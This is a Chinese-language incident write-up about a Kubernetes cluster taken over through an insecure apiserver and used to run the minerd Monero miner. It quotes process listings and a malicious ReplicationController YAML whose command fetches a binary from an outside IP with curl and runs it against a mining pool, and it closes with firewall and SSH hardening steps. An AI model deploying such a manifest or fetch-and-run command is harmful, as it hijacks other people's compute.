记一次kubernetes被minerd挖矿入侵

如下是Kubernetes环境遭minerd挖矿程序入侵排查回顾：

1. 某个月黑风高夜，临下班时，忽然服务器A报警CPU占用太高，经查是minerd挖矿程序入侵。

 

2. 看看这个程序在干什么？

# ps aux | grep minerd

root 23073 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23170 415 0.0 680236 14608 ? Ssl 20:18 39:07 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23329 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 24161 395 0.0 680236 14360 ? Ssl 20:19 33:35 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x

威力很大，有三台服务器均在几分钟内CPU被耗尽而没法链接，只能重启一下调几分钟，反反复复。

 

3. 探索解决方法

百度谷歌了不少，得出一个结论，最有可能致使入侵的就是经过redis漏洞创建ssh链接操纵挖矿程序，笔者按照网上复制最多的解决方法作了如下操做：

- 防火墙禁止挖矿程序访问的域名，iptables -I INPUT -s xmr.pool.minergate.com -j DROP  && iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP

- 禁止root登陆，sed -i 's/PermitRootLogin yes/PermitRootLogin no/'  /etc/ssh/sshd_config && service sshd restart，并查找ssh可疑文件和入侵痕迹

- 查找minerd程序运行路径并杀掉，这个地方我卡住了，由于怎么查都查不到minerd程序所在系统路径，我开始明白，这个程序已经不是当年的吴下阿蒙了，网上全部的方法已经对其不起做用，当我熬了一晚上也没解决掉这个问题的时候，我发现了一个规律，这波攻击只涉及到了预发布环境的三台机器，生产环境并无被入侵的迹象，因而我安心的睡了会儿觉。

 4. 一觉醒来，继续战斗

当我脑子清醒一些的时候，我冷静的分析了一下预发布环境上运行的服务，是由Kubernetes负责调度的docker环境，因而从排查docker容器入手，果真发现了有5个容器在运行挖矿程序，这让我惊喜，终于知道为何在系统里找不到程序的路径了，原来都运行在容器里。

5. 它凭什么能随意以root身份在咱们的机器上运行容器呢？

经过排除法，我猜想多是Kubernetes Master被控制了，由它调度其它三台机器运行挖矿程序，经过种种的蛛丝马迹，终于验证了这个猜想TT

 

 # kubectl get rc mysql2 -o yaml  //查看该挖矿程序的rc yaml文件

apiVersion: v1
kind: ReplicationController
metadata:
  creationTimestamp: 2017-06-26T12:18:06Z
  generation: 1
  labels:
    app: mysql2
  name: mysql2
  namespace: default
  resourceVersion: "10312428"
  selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
  uid: 823d6538-5a69-11e7-bf24-00163e0024e8
spec:
  replicas: 5
  selector:
    app: mysql2
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: mysql2
    spec:
      containers:
      - command:
        - sh
        - -c
        - curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd &&
          setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560
          -u didi123123321@gmail.com -p x
        image: centos
        imagePullPolicy: Always
        name: mysql2
        resources: {}
        terminationMessagePath: /dev/termination-log
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      securityContext: {}
      terminationGracePeriodSeconds: 30
      volumes:
      - emptyDir: {}
        name: shared-data
status:
  fullyLabeledReplicas: 5
  observedGeneration: 1
  replicas: 5

 

6. 后续工做

因为本人目前对kubernetes了解有限，因此将这个入侵的状况反映给老大，而后老大给定位到被入侵的缘由是因为Kubernetes Apiserver不安全配置所致，Apiserver提供了资源操做的惟一入口，并提供认证、受权、访问控制、API注册和发现等机制，因此apiserver的安全相当重要。